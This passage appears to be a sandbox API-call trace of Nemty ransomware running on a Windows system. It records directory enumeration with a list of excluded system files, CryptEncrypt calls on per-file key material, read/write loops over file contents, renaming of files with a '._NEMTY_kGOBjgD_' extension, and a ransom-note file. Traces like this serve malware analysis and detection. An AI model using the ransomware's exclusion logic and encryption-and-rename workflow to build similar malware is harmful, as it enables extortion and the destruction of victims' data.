hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0080.119] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png._nemty_kgobjgd_")) returned 0 [0080.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0080.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0080.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0080.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0080.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0080.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0080.119] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2=".") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="..") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="...") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="windows") returned -1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="$RECYCLE.BIN") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="rsa") returned -1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="NTDETECT.COM") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="ntldr") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="MSDOS.SYS") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="IO.SYS") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="boot.ini") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="boot.ini") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="AUTOEXEC.BAT") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="ntuser.dat") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="desktop.ini") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="CONFIG.SYS") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="RECYCLER") returned -1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="BOOTSECT.BAK") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="bootmgr") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="programdata") returned 1 [0080.120] lstrcmpiW (lpString1="push_title.png", lpString2="appdata") returned 1 [0080.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_title.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0080.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_title.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="push_title.png", lpUsedDefaultChar=0x0) returned 14 [0080.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0080.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_title.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0080.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_title.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="push_title.png", lpUsedDefaultChar=0x0) returned 14 [0080.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0080.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_title.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0080.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_title.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="push_title.png", lpUsedDefaultChar=0x0) returned 14 [0080.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_title.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0080.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_title.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="push_title.png", lpUsedDefaultChar=0x0) returned 14 [0080.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0080.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0080.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0080.121] Sleep (dwMilliseconds=0x5) [0080.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3693c10, dwHighDateTime=0x1d561e7)) [0080.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3693c10, dwHighDateTime=0x1d561e7)) [0080.135] GetLastError () returned 0x5 [0080.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0080.135] GetLastError () returned 0x5 [0080.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0080.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0080.136] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0080.136] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0080.136] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0080.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0080.136] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="ycrULTGJKhHHR15BP/nqGcOmt/CJXObkHs1D2vlUHve2kdusc2aqEBrskw6UA4Tn\r\nmOAP3dIcaCYHAzOzCvk0nTmsjLJAUAiXfHNdT607aWys5O+SpzLNgv1cuFr7wVyf\r\nk6kEqI1GOYEQYdC6wQGQk8ypozteyCF4bYDtVt9CSOYhuGeSRyWBCh2Zb8enrJFJ\r\nTSVLBv8ZABb2MWB/dEGWComdHkIv75g0KDCz85NEPwm3vuVmuv9OuuRPSJBJ0+2g\r\n3xn4cEHPydQZMyHvgSlJvyuC1QRQ++pHhgMIyeaFcDLGLVn3G1llOlp1XsTFcBE3\r\nDYlIYXTyxqiIAJsITQhXTQ==\r\n", pcchString=0x653e91c) returned 1 [0080.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0080.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0080.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0080.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0080.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0080.136] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0080.136] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0080.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0080.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0080.264] CloseHandle (hObject=0xffffffff) returned 0 [0080.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0080.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0080.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0080.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0080.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0080.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0080.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340240 [0080.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0080.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.265] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png._nemty_kgobjgd_")) returned 0 [0080.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0080.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0080.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0080.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0080.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0080.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0080.265] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe28256b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xe28256b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe28256b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0080.265] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0080.266] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0080.266] 